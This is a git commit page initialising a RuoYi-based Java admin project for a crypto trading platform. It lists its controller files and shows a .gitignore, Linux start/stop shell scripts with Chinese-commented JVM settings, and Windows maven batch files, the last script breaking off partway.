Browse Source

项目初始化

master
453530270@qq.com 2 years ago
commit
d732aa105c
  1. 29
      .gitignore
  2. 153
      bin/admin.sh
  3. 153
      bin/api.sh
  4. 12
      bin/clean.bat
  5. 12
      bin/package.bat
  6. 14
      bin/run.bat
  7. BIN
      doc/若依环境使用手册.docx
  8. 153
      echo2.0启动脚本/admin.sh
  9. 153
      echo2.0启动脚本/api.sh
  10. 256
      pom.xml
  11. 318
      ruoyi-admin/echo2-admin.iml
  12. 107
      ruoyi-admin/pom.xml
  13. 31
      ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java
  14. 18
      ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java
  15. 20
      ruoyi-admin/src/main/java/com/ruoyi/TPass.java
  16. 141
      ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java
  17. 95
      ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java
  18. 83
      ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java
  19. 21
      ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java
  20. 97
      ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java
  21. 104
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java
  22. 116
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java
  23. 104
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java
  24. 142
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java
  25. 105
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java
  26. 105
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java
  27. 133
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java
  28. 123
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java
  29. 95
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java
  30. 163
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java
  31. 285
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java
  32. 116
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java
  33. 124
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java
  34. 108
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java
  35. 154
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java
  36. 104
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java
  37. 103
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java
  38. 108
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java
  39. 116
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java
  40. 208
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java
  41. 116
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java
  42. 124
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java
  43. 47
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java
  44. 117
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java
  45. 105
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java
  46. 104
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java
  47. 223
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java
  48. 98
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java
  49. 104
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java
  50. 105
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java
  51. 131
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java
  52. 106
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java
  53. 105
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java
  54. 116
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java
  55. 104
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java
  56. 91
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java
  57. 104
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java
  58. 127
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java
  59. 114
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java
  60. 160
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java
  61. 120
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java
  62. 186
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java
  63. 118
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java
  64. 150
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java
  65. 125
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java
  66. 105
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java
  67. 125
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java
  68. 146
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java
  69. 104
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java
  70. 98
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java
  71. 120
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java
  72. 237
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java
  73. 34
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java
  74. 91
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java
  75. 79
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java
  76. 94
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java
  77. 240
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java
  78. 120
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
  79. 27
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java
  80. 82
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java
  81. 69
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java
  82. 83
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java
  83. 133
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java
  84. 132
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java
  85. 137
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java
  86. 131
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java
  87. 29
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java
  88. 211
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
  89. 142
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java
  90. 91
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java
  91. 129
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java
  92. 151
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java
  93. 38
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java
  94. 262
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java
  95. 265
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java
  96. 45
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java
  97. 330
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java
  98. 183
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java
  99. 125
      ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java
  100. 73
      ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java

29
.gitignore

@ -0,0 +1,29 @@
# ---> Java
# Compiled class file
*.class
# Log file
*.log
# BlueJ files
*.ctxt
# Mobile Tools for Java (J2ME)
.mtj.tmp/
# Package Files #
*.jar
*.war
*.nar
*.ear
*.zip
*.tar.gz
*.rar
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid*
.idea/
.mvn/
target/
json/

153
bin/admin.sh

@ -0,0 +1,153 @@
#!/bin/sh
# 该脚本为Linux下启动java程序的脚本
# 特别注意:
# 该脚本使用系统kill命令来强制终止指定的java程序进程。
# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本,
# 根据实际情况来修改以下配置信息 ##################################
# JAVA应用程序的名称
APP_NAME=$2'-admin'
# jar包存放路径
JAR_PATH='/opt/echo2/'$2'/admin'
#更改jar 名称
mv $JAR_PATH/"echo2-admin.jar" $JAR_PATH/$2"-admin.jar"
# jar包名称
JAR_NAME=$2"-admin.jar"
# PID 代表是PID文件
JAR_PID=$JAR_NAME\.pid
# 日志输出文件
LOG_FILE=
# java虚拟机启动参数
#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些
XMS="-Xms512m"
#-Xmx: java heap(堆)最大值,使用的最大内存
XMX="-Xmx1024m"
#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值
METASPACE_SIZE="-XX:MetaspaceSize=512m"
#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大
MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m"
#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean
PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps"
#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean
PRINTGCDETAILS="-XX:+PrintGCDetails"
#-XX:ParallelGCThreads: CMS/G1通用线程数设置
PARALLELGCTHREADS="-XX:ParallelGCThreads=10"
#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件,
HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError"
#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下
HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof"
#-Dfile.encoding: 文件编码
FILE_ENCODING="-Dfile.encoding=utf-8"
#拼接参数
JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log"
# 根据实际情况来修改以上配置信息 ##################################
is_exist() {
# 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程
pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' `
# [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格
# [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真
# 如果不存在返回0,存在返回1
if [ -z "${pid}" ]; then
return 0
else
return 1
fi
}
# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 #########
# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号)
# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号)
# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
# $- 显示shell使用的当前选项,与set命令功能相同
# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。
# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。
# $# 添加到Shell的参数个数
# $0 Shell本身的文件名
# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。
# 服务启动方法
start() {
is_exist
if [ $? -eq "1" ]; then
echo "$APP_NAME 已经在运行pid是 ${pid}"
else
# jar服务启动脚本
nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/admin.log 2>&1 &
echo $! > $JAR_PID
echo "启动 $APP_NAME 成功 pid是 $! "
sleep 15
# 睡眠一会等启动完成后输出启动日志
cat $JAR_PATH/admin.log
fi
}
# 服务停止方法
stop() {
# is_exist
pidf=$(cat $JAR_PID)
# echo "$pidf"
echo "pid = $pidf begin kill $pidf"
kill $pidf
rm -rf $JAR_PID
sleep 2
# 判断服务进程是否存在
is_exist
if [ $? -eq "1" ]; then
echo "pid = $pid begin kill -9 $pid"
kill -9 $pid
sleep 2
echo "$APP_NAME 已停止!"
else
echo "$APP_NAME 没有运行!"
fi
}
# 服务运行状态查看方法
status() {
is_exist
if [ $? -eq "1" ]; then
echo "$APP_NAME 正在运行,pid 是 ${pid}"
else
echo "$APP_NAME 没有运行!"
fi
}
# 重启服务方法
restart() {
# 调用服务停止命令
stop
# 调用服务启动命令
start $1 $2
}
# 帮助说明,用于提示输入参数信息
usage() {
echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]"
exit 1
}
###################################
# 读取脚本的第一个参数($1),进行判断
# 参数取值范围:{ start | stop | restart | status }
# 如参数不在指定范围之内,则打印帮助信息
###################################
#根据输入参数,选择执行对应方法,不输入则执行使用说明
case "$1" in
'start')
start $1 $2
;;
'stop')
stop
;;
'restart')
restart $1 $2
;;
'status')
status
;;
*)
usage
;;
esac
exit 0

153
bin/api.sh

@ -0,0 +1,153 @@
#!/bin/sh
# 该脚本为Linux下启动java程序的脚本
# 特别注意:
# 该脚本使用系统kill命令来强制终止指定的java程序进程。
# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本,
# 根据实际情况来修改以下配置信息 ##################################
# JAVA应用程序的名称
APP_NAME=$2'-api'
# jar包存放路径
JAR_PATH='/opt/echo2/'$2'/api'
#更改jar 名称
mv $JAR_PATH/"echo2-api.jar" $JAR_PATH/$2"-api.jar"
# jar包名称
JAR_NAME=$2"-api.jar"
# PID 代表是PID文件
JAR_PID=$JAR_NAME\.pid
# 日志输出文件
LOG_FILE=
# java虚拟机启动参数
#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些
XMS="-Xms1024m"
#-Xmx: java heap(堆)最大值,使用的最大内存
XMX="-Xmx2048m"
#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值
METASPACE_SIZE="-XX:MetaspaceSize=1024m"
#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大
MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=1024m"
#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean
PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps"
#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean
PRINTGCDETAILS="-XX:+PrintGCDetails"
#-XX:ParallelGCThreads: CMS/G1通用线程数设置
PARALLELGCTHREADS="-XX:ParallelGCThreads=10"
#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件,
HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError"
#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下
HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof"
#-Dfile.encoding: 文件编码
FILE_ENCODING="-Dfile.encoding=utf-8"
#拼接参数
JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log"
# 根据实际情况来修改以上配置信息 ##################################
is_exist() {
# 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程
pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' `
# [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格
# [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真
# 如果不存在返回0,存在返回1
if [ -z "${pid}" ]; then
return 0
else
return 1
fi
}
# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 #########
# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号)
# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号)
# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
# $- 显示shell使用的当前选项,与set命令功能相同
# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。
# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。
# $# 添加到Shell的参数个数
# $0 Shell本身的文件名
# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。
# 服务启动方法
start() {
is_exist
if [ $? -eq "1" ]; then
echo "$APP_NAME 已经在运行pid是 ${pid}"
else
# jar服务启动脚本
nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/api.log 2>&1 &
echo $! > $JAR_PID
echo "启动 $APP_NAME 成功 pid是 $! "
sleep 15
# 睡眠一会等启动完成后输出启动日志
cat $JAR_PATH/api.log
fi
}
# 服务停止方法
stop() {
# is_exist
pidf=$(cat $JAR_PID)
# echo "$pidf"
echo "pid = $pidf begin kill $pidf"
kill $pidf
rm -rf $JAR_PID
sleep 2
# 判断服务进程是否存在
is_exist
if [ $? -eq "1" ]; then
echo "pid = $pid begin kill -9 $pid"
kill -9 $pid
sleep 2
echo "$APP_NAME 已停止!"
else
echo "$APP_NAME 没有运行!"
fi
}
# 服务运行状态查看方法
status() {
is_exist
if [ $? -eq "1" ]; then
echo "$APP_NAME 正在运行,pid 是 ${pid}"
else
echo "$APP_NAME 没有运行!"
fi
}
# 重启服务方法
restart() {
# 调用服务停止命令
stop
# 调用服务启动命令
start $1 $2
}
# 帮助说明,用于提示输入参数信息
usage() {
echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]"
exit 1
}
###################################
# 读取脚本的第一个参数($1),进行判断
# 参数取值范围:{ start | stop | restart | status }
# 如参数不在指定范围之内,则打印帮助信息
###################################
#根据输入参数,选择执行对应方法,不输入则执行使用说明
case "$1" in
'start')
start $1 $2
;;
'stop')
stop
;;
'restart')
restart $1 $2
;;
'status')
status
;;
*)
usage
;;
esac
exit 0

12
bin/clean.bat

@ -0,0 +1,12 @@
@echo off
echo.
echo [信息] 清理工程target生成路径。
echo.
%~d0
cd %~dp0
cd ..
call mvn clean
pause

12
bin/package.bat

@ -0,0 +1,12 @@
@echo off
echo.
echo [信息] 打包Web工程,生成war/jar包文件。
echo.
%~d0
cd %~dp0
cd ..
call mvn clean package -Dmaven.test.skip=true
pause

14
bin/run.bat

@ -0,0 +1,14 @@
@echo off
echo.
echo [信息] 使用Jar命令运行Web工程。
echo.
cd %~dp0
cd ../ruoyi-admin/target
set JAVA_OPTS=-Xms256m -Xmx1024m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=512m
java -jar %JAVA_OPTS% ruoyi-admin.jar
cd bin
pause

BIN
doc/若依环境使用手册.docx

Binary file not shown.

153
echo2.0启动脚本/admin.sh

@ -0,0 +1,153 @@
#!/bin/sh
# 该脚本为Linux下启动java程序的脚本
# 特别注意:
# 该脚本使用系统kill命令来强制终止指定的java程序进程。
# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本,
# 根据实际情况来修改以下配置信息 ##################################
# JAVA应用程序的名称
APP_NAME=$2'-admin'
# jar包存放路径
JAR_PATH='/opt/echo2/'$2'/admin'
#更改jar 名称
mv $JAR_PATH/"echo2-admin.jar" $JAR_PATH/$2"-admin.jar"
# jar包名称
JAR_NAME=$2"-admin.jar"
# PID 代表是PID文件
JAR_PID=$JAR_NAME\.pid
# 日志输出文件
LOG_FILE=
# java虚拟机启动参数
#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些
XMS="-Xms512m"
#-Xmx: java heap(堆)最大值,使用的最大内存
XMX="-Xmx1024m"
#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值
METASPACE_SIZE="-XX:MetaspaceSize=512m"
#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大
MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m"
#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean
PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps"
#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean
PRINTGCDETAILS="-XX:+PrintGCDetails"
#-XX:ParallelGCThreads: CMS/G1通用线程数设置
PARALLELGCTHREADS="-XX:ParallelGCThreads=10"
#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件,
HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError"
#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下
HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof"
#-Dfile.encoding: 文件编码
FILE_ENCODING="-Dfile.encoding=utf-8"
#拼接参数
JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log"
# 根据实际情况来修改以上配置信息 ##################################
is_exist() {
# 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程
pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' `
# [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格
# [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真
# 如果不存在返回0,存在返回1
if [ -z "${pid}" ]; then
return 0
else
return 1
fi
}
# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 #########
# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号)
# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号)
# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
# $- 显示shell使用的当前选项,与set命令功能相同
# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。
# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。
# $# 添加到Shell的参数个数
# $0 Shell本身的文件名
# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。
# 服务启动方法
start() {
is_exist
if [ $? -eq "1" ]; then
echo "$APP_NAME 已经在运行pid是 ${pid}"
else
# jar服务启动脚本
nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/admin.log 2>&1 &
echo $! > $JAR_PID
echo "启动 $APP_NAME 成功 pid是 $! "
sleep 15
# 睡眠一会等启动完成后输出启动日志
cat $JAR_PATH/admin.log
fi
}
# 服务停止方法
stop() {
# is_exist
pidf=$(cat $JAR_PID)
# echo "$pidf"
echo "pid = $pidf begin kill $pidf"
kill $pidf
rm -rf $JAR_PID
sleep 2
# 判断服务进程是否存在
is_exist
if [ $? -eq "1" ]; then
echo "pid = $pid begin kill -9 $pid"
kill -9 $pid
sleep 2
echo "$APP_NAME 已停止!"
else
echo "$APP_NAME 没有运行!"
fi
}
# 服务运行状态查看方法
status() {
is_exist
if [ $? -eq "1" ]; then
echo "$APP_NAME 正在运行,pid 是 ${pid}"
else
echo "$APP_NAME 没有运行!"
fi
}
# 重启服务方法
restart() {
# 调用服务停止命令
stop
# 调用服务启动命令
start $1 $2
}
# 帮助说明,用于提示输入参数信息
usage() {
echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]"
exit 1
}
###################################
# 读取脚本的第一个参数($1),进行判断
# 参数取值范围:{ start | stop | restart | status }
# 如参数不在指定范围之内,则打印帮助信息
###################################
#根据输入参数,选择执行对应方法,不输入则执行使用说明
case "$1" in
'start')
start $1 $2
;;
'stop')
stop
;;
'restart')
restart $1 $2
;;
'status')
status
;;
*)
usage
;;
esac
exit 0

153
echo2.0启动脚本/api.sh

@ -0,0 +1,153 @@
#!/bin/sh
# 该脚本为Linux下启动java程序的脚本
# 特别注意:
# 该脚本使用系统kill命令来强制终止指定的java程序进程。
# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本,
# 根据实际情况来修改以下配置信息 ##################################
# JAVA应用程序的名称
APP_NAME=$2'-api'
# jar包存放路径
JAR_PATH='/opt/echo2/'$2'/api'
#更改jar 名称
mv $JAR_PATH/"echo2-api.jar" $JAR_PATH/$2"-api.jar"
# jar包名称
JAR_NAME=$2"-api.jar"
# PID 代表是PID文件
JAR_PID=$JAR_NAME\.pid
# 日志输出文件
LOG_FILE=
# java虚拟机启动参数
#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些
XMS="-Xms512m"
#-Xmx: java heap(堆)最大值,使用的最大内存
XMX="-Xmx1024m"
#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值
METASPACE_SIZE="-XX:MetaspaceSize=512m"
#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大
MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m"
#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean
PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps"
#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean
PRINTGCDETAILS="-XX:+PrintGCDetails"
#-XX:ParallelGCThreads: CMS/G1通用线程数设置
PARALLELGCTHREADS="-XX:ParallelGCThreads=10"
#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件,
HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError"
#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下
HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof"
#-Dfile.encoding: 文件编码
FILE_ENCODING="-Dfile.encoding=utf-8"
#拼接参数
JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log"
# 根据实际情况来修改以上配置信息 ##################################
is_exist() {
# 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程
